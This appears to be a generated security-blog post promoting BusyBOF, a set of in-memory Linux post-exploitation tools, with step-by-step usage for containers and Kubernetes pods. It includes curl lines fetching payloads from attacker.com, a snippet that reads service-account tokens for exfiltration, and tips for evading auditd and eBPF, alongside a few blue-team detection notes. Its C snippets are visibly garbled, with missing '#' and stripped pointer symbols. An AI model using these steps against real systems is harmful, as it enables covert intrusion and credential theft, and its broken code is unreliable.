BusyBOF: Unleashing 64 Post-Exploitation BOFs for Stripped Linux Containers – Red Team’s New Swiss Army Knife + Video

Listen to this Post

Featured Image

Introduction

Beacon Object Files (BOFs) have long been a Windows red-team staple, enabling in-memory execution of C code without touching disk. Now, the same lightweight, evasive paradigm arrives for Linux, Docker containers, and Kubernetes pods with BusyBOF – a collection of 64 Busybox-style BOFs reimplementing common Unix utilities. Designed for stripped environments where only a minimal agent or implant exists, BusyBOF allows operators to run ls, ps, netstat, and dozens of other commands entirely in memory, leaving no forensic artifacts and bypassing missing binary constraints.

Learning Objectives

  • Understand how BusyBOF leverages ELF loaders and BOF chaining to perform post-exploitation in minimal nix environments.
  • Learn to execute, chain, and extend BusyBOF utilities using provided tooling and PIPE.md logic.
  • Apply BusyBOF in container breakout scenarios, Kubernetes post-exploitation, and evasion against EDR/audit controls.

You Should Know

  1. Deploying BusyBOF – Loading a BOF in Memory Without Disk Write

BusyBOF provides 64 standalone BOFs, each reimplementing a common Unix utility (e.g., bof_ls.o, bof_ps.o, bof_netstat.o). To use them, you need a compatible agent that can load and execute ELF-based BOFs – for example, Sliver C2 (with Linux BOF support) or a custom ELF loader.

Step‑by‑step guide (using Sliver C2):

  1. Clone the repository and compile the BOFs (or use pre-built `.o` files):
    git clone https://github.com/cmprmsd/BusyBOF.git
    cd BusyBOF
    make
    
  2. In Sliver, upload the BOF to your implant session:
    upload /path/to/bof_ls.o /tmp/bof_ls.o
    
  3. Execute the BOF inline using Sliver’s `bof` command (Linux session):
    bof /tmp/bof_ls.o /tmp --format json
    

    This runs `ls /tmp` without spawning `/bin/ls` – no process creation, no syscall tampering.

For custom ELF loader (manual testing):

  • Use the provided `ELFLoader` logic from the repo. Compile a simple loader:
    // load_bof.c – simplified snippet
    include <stdio.h>
    include <dlfcn.h>
    int main() {
    void handle = dlopen("./bof_ls.so", RTLD_NOW);
    void (bof_main)(char) = dlsym(handle, "go");
    bof_main("/tmp");
    dlclose(handle);
    }
    
  • The BOFs export a `go()` function; call it with your arguments.

Why this matters: Traditional post‑exploitation tools drop binaries (e.g., netcat, pspy), triggering file system monitoring. BusyBOF executes entirely in the implant’s memory space, leaving no `execve` traces.

  1. Chaining BOFs for Multi‑Command Reconnaissance – Using PIPE.md

The `PIPE.md` document introduces BOF chaining – piping the output of one BOF as input to another, similar to Unix pipes but without spawning shells. This is critical for complex recon in stripped containers.

Step‑by‑step chain example:

Find all running processes owned by root, then list open network connections for each PID.

  1. Run `bof_ps.o` to output JSON with PID, UID, and command:
    bof_ps.o --format json > /tmp/ps_out
    
  2. Parse PIDs where UID==0 using a minimal helper (or second BOF). BusyBOF includes `bof_jq.o` for JSON filtering:
    bof_ps.o | bof_jq.o '.[] | select(.uid==0) | .pid'
    

3. Feed each PID to `bof_netstat.o`:

bof_ps.o --uid 0 --format pid | while read pid; do
bof_netstat.o --pid $pid
done

The `while` loop runs inside the implant’s process, never invoking /bin/sh.

Windows alternative perspective: While BOF chaining has existed for Windows (Cobalt Strike’s bof_pipe), BusyBOF brings the same paradigm to Linux – and adds JSON streaming, making it SIEM‑friendly for covert exfiltration.

  1. Evading Container Runtime Defenses – Using BusyBOF in Stripped Environments

Docker containers often strip /bin/ls, /bin/ps, /usr/bin/netstat, and even /bin/sh. Traditional statically compiled binaries (e.g., busybox) still write to disk. BusyBOF bypasses this by never touching the file system.

Step‑by‑step container breakout recon:

Assume you have a reverse shell inside a minimal container (no ps, no netstat).

  1. Upload the BusyBOF `.o` files via your implant’s file transfer (or use `curl` to fetch from C2):
    curl -s http://attacker.com/bof_ps.o -o /dev/shm/bof_ps.o
    
  2. Use your agent (e.g., custom loader) to execute BOF directly from `/dev/shm` (tmpfs – still memory‑backed):
    /tmp/elf_loader /dev/shm/bof_ps.o
    
  3. Enumerate processes inside the container – you’ll see the host’s PID namespace if not properly isolated, revealing other containers or host processes.
  4. Chain with `bof_readfile.o` to read `/proc/self/cgroup` and confirm container escape path.

Hardening recommendation for blue teams: Monitor `ptrace` and `process_vm_readv` syscalls – BOFs still generate these. Also watch for anomalous `memfd_create` usage (some loaders use anonymous memory).

  1. Cross‑Platform BOFs – Linux & Windows in One Command (Sliver Integration)

Sebastian Haas noted that Sliver C2 now supports target platform manifests. This means you can write one BOF that conditionally executes Linux or Windows code.

Step‑by‑step writing a cross‑platform BOF:

  1. Use `ifdef __linux__` and `ifdef _WIN32` to separate logic.
  2. Compile for both targets using `x86_64-w64-mingw32-gcc` (Windows) and `gcc` (Linux).

3. In Sliver, register the BOF with manifest:

{
"name": "cross_ls",
"platforms": ["windows", "linux"],
"entry_point": "go"
}

4. Execute with one command:

bof cross_ls.o C:\ (on Windows) or bof cross_ls.o /tmp (on Linux)

Example code snippet for cross‑platform file listing:

ifdef <strong>linux</strong>
include <dirent.h>
void list_linux(char path) { / opendir/readdir / }
elif _WIN32
include <windows.h>
void list_windows(char path) { / FindFirstFile / }
endif

void go(char args) {
ifdef <strong>linux</strong>
list_linux(args);
elif _WIN32
list_windows(args);
endif
}

Impact: Red teams can now maintain a single BOF arsenal for hybrid environments, reducing payload count and increasing agility during cloud migrations.

  1. Operational Security – Hiding BOF Execution from Auditd & eBPF

BOFs execute as part of the implant’s process memory. However, syscalls like openat, read, and `write` are still visible. BusyBOF minimizes noise by using `openat` only on `/proc` and `/sys` (expected for legitimate tools).

Step‑by‑step opsec hardening:

  1. Use `bof_sleep.o` with random jitter between chained commands to avoid pattern detection.
  2. Replace network egress BOFs (e.g., bof_curl.o) with `bof_http_send.o` that encrypts output before sending.
  3. For logs, BusyBOF’s `bof_wipe.o` can overwrite in‑memory buffers after execution – no `unlink` syscall needed.

Detection vectors to test:

  • Monitor `process_vm_readv` – used by some ELF loaders to write BOF code into the implant.
  • Watch for `mprotect` with `PROT_EXEC` on non‑JIT regions.
  • Use Falco rules: `proc.name != “bash” and evt.type = openat and fd.name contains “/proc/self/mem”`

    Mitigation for blue teams: Restrict `ptrace` scope via `kernel.yama.ptrace_scope=1` and deploy eBPF hooks on process_vm_writev.

  1. Extending BusyBOF – Writing Your Own Unix Utility BOF

The repository structure makes it easy to add new BOFs. Each BOF is a small C file with no libc dependencies (static only).

Step‑by‑step to create `bof_grep.o`:

1. Copy an existing BOF template:

cp bof_ls.c bof_grep.c

2. Implement `void go(char args)` that parses `args` as "pattern /path/to/file".
3. Use open(), read(), and manual string search (avoid `strstr` from libc – link with -ffreestanding).

4. Compile with:

gcc -c bof_grep.c -ffreestanding -fno-builtin -nostdlib -o bof_grep.o

5. Test by loading with `ELFLoader`:

./elf_loader bof_grep.o "root /etc/passwd"

Pro tip: Use `write(STDOUT_FILENO, …)` directly – many BOFs redefine `printf` via `_write` stub to avoid linking libc.so.

  1. Deploying BusyBOF in Kubernetes Pods – Without `kubectl exec`

    Kubernetes pods often have no bash, sh, or busybox. If you compromise a pod via a container breakout or service account token, BusyBOF becomes your post‑exploitation toolkit.

Step‑by‑step pod recon using BusyBOF:

  1. Upload BOFs to a writable volume (e.g., emptyDir or hostPath) or use `curl` from a compromised container:
    curl -k https://attacker.com/bof_netstat.o -o /tmp/bof_netstat.o
    
  2. Execute via a memory‑only loader (statically compiled `loader` binary uploaded once).
  3. Run `bof_k8s_api.o` (if you create one) to query the Kubernetes API from inside the pod using the mounted service account token:
    // bof_k8s_api.c snippet
    void go(char args) {
    char token = read_file("/var/run/secrets/kubernetes.io/serviceaccount/token");
    char ca = read_file("/var/run/secrets/kubernetes.io/serviceaccount/ca.crt");
    // HTTPS request to https://kubernetes.default/api/v1/namespaces/default/pods
    }
    
  4. Chain output with `bof_base64.o` to encode results before exfil.

Defensive note: Audit `exec` calls into pods. BusyBOF bypasses `exec` auditing entirely – only the initial loader (if dropped) triggers an event. Monitor `ptrace` across container boundaries.

What Undercode Say

  • Key Takeaway 1: BusyBOF revolutionizes Linux post‑exploitation by eliminating the need for dropped binaries, enabling stealthy operations in even the most stripped containers and minimal VMs.
  • Key Takeaway 2: BOF chaining via PIPE.md allows complex recon pipelines without spawning a shell – drastically reducing the forensic footprint and bypassing command-line logging.

Analysis: Traditional container security assumes that removing `/bin/ls` and `/bin/ps` blocks attackers. BusyBOF proves this assumption false – BOFs execute purely in memory, using only the syscalls required for the utility. Red teams can now operate inside Kubernetes pods with the same agility as on full Linux hosts. Blue teams must shift detection to low‑level syscall anomalies (e.g., `process_vm_readv` on non‑debugger processes) and eBPF hooks on memfd_create. The cross‑platform BOF support in Sliver further blurs the line between Windows and Linux tradecraft – expect to see unified BOF arsenals in 2025.

Prediction

Within 12 months, major C2 frameworks (Cobalt Strike, Covenant, Mythic) will adopt native Linux BOF loading, mirroring Sliver’s approach. Container‑native EDR solutions will emerge to detect BOF‑style execution by monitoring for anonymous executable memory pages and abnormal `ptrace` usage. Simultaneously, attackers will weaponize BusyBOF for automated container escape sequences – chaining bof_mount.o, bof_chroot.o, and `bof_nsenter.o` to break out of Docker and Kubernetes runtimes without ever writing a binary to disk. The era of “disk‑based post‑exploitation” on Linux is ending; memory‑only tradecraft is the new normal.

▶️ Related Video (76% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Cmprmsd Ehlo – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky